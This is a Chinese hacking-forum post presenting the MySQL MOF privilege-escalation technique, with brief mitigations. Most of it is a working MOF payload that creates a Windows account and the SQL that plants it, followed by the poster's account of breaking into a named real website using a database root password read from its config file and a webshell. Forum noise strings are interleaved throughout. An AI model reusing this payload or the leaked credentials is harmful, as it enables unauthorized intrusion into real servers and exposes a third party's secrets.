找回密码
 立即注册
查看: 2622|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
0 {7 k; G  |9 L! D8 p" X1 X( p. A& I- `2 Y) A0 g8 G  p3 v
网上公开的一些利用代码:
* i; V3 U; W# \% r
6 F  v% z. h5 E4 L#pragma namespace(“\\\\.\\root\\subscription”)
2 ^' @" s7 H2 q' W9 r. G$ u" S# l
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };" m4 U, ?, M1 ~  U0 a
2 X# j; H# k  G, m4 V

) q: v  d2 p' K2 k0 {$ p) E3 a* H+ t: s. R1 h8 n, r: e
" k; m" x( H! e" ^+ K8 y

. B/ O5 {7 y2 J6 ]连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
6 k4 t1 w0 J/ g6 ^# t8 O从上面代码来看得出解决办法:
' T  j- _  H3 V' p) t4 k0 N! M5 Z/ O8 g/ q. k& c
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数# s6 j+ ~( e# _8 z  R+ d8 d7 X: s

4 b, t0 O% T  `0 |4 \: P- f2、禁止使用”WScript.Shel”组件; G1 A/ S6 i) v  i2 V

" W% Q$ s% [8 b0 V5 o3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER; l. j0 p& A1 g$ ^, s6 b
# K% a/ v: k: w: c& H. A
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下) V8 u1 v* s$ [/ r9 U$ n/ q5 ~$ s
* \  M1 G4 I/ ~$ O: l% d
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权" F4 v/ S. Z/ Z* T2 e
, M; X% s! D4 j3 m/ d
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
2 b: j, N' }/ V- v
) `0 W# A; j1 V; V3 D: ?看懂了后就开始练手吧9 Q  P4 e' i" C/ v9 s0 y
/ Q% y  S' m6 }5 `# ?. y
http://www.webbmw.com/config/config_ucenter.php 一句话 a
; O3 m- D2 P- Z! i, T8 v6 n$ B9 p7 j6 X2 S: T% p
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。+ S: b' _4 p5 i0 \( m% B
+ j+ Z! V$ \) a4 q- Q$ ]% W
于是直接用菜刀开搞9 B+ P7 }; A% x7 f% q
  A% V. L  N' A3 Y$ `! t
上马先: O/ c1 c; P$ K( N! o7 U0 H

0 c2 w$ `) m& M- [' S既然有了那些账号 之类的 于是我们就执行吧…….
: z  d; v$ v' h/ k6 z" Q$ t2 C0 {8 j/ ~
小小的说下% I3 D; C# K! p: O: r6 N( `0 g, |

# O) S) U2 m/ L- b) G/ ~/ ?# u在这里第1次执行未成功        原因未知, @0 w$ r4 T. u

. }* b" m% C  `- p9 ^我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
$ A/ g/ J: i- Y6 Q' I3 @8 K: }1 b: G2 V1 Q) k7 ?% F" T
#pragma namespace(“\\\\.\\root\\subscription”)4 p5 O9 Z, ^0 _
. H% F( \7 E1 i. q7 T3 R
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
: F4 f; k: a, K7 U  l5 |
, W2 Q9 p4 |5 p1 A6 h) U4 q# N4 F我是将文件放到C:\WINDOWS\temp\1.mof
" K/ Z, h: H, \5 r0 M( o: d6 k+ |. {/ z8 U
所以我们就改下执行的代码
8 f" D8 W" q5 D- r* b6 f3 @
% \* o5 V5 |: Z( Qselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
- B$ g& H8 C* D% g! }
# a7 Q0 j' o0 ]) s9 n% `* `. [4 Z, m/ u+ a" f9 D7 x# \& @) m
3 k6 L/ |% h7 C: {$ u8 P/ k/ ^8 n
但是 你会发现账号还是没有躺在那里。。# V2 F' s$ o" u7 k3 ]! q4 _

, ]9 R( M% i: o; a9 ]. r8 l于是我就感觉蛋疼
9 s" @9 V; `4 l9 \( d
' }9 [3 J( E: f# J就去一个一个去执行 但是执行到第2个 mysql时就成功了………9 n0 K2 J7 a- X+ G; B7 e6 U( N- a& F

* ]- r! @' k: A; d7 ?# j# ^, z! Q( U+ y. P7 Y% Y( q( {. z
8 U7 F" y4 P8 @/ n2 |6 b
但是其他库均不成功…
3 k7 z3 ^+ G# i0 Q& j5 ~" Z0 }- i& J- W7 Z( P1 M
我就很费解呀 到底为什么不成功求大牛解答…3 |1 r! q( G& d& w% H4 f% \

! p6 f$ z" x! `6 v1 t: \8 `9 ?' _  p$ P+ b' |- ]" v

! c2 \2 ^/ D" i6 j1 Q/ ~# g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表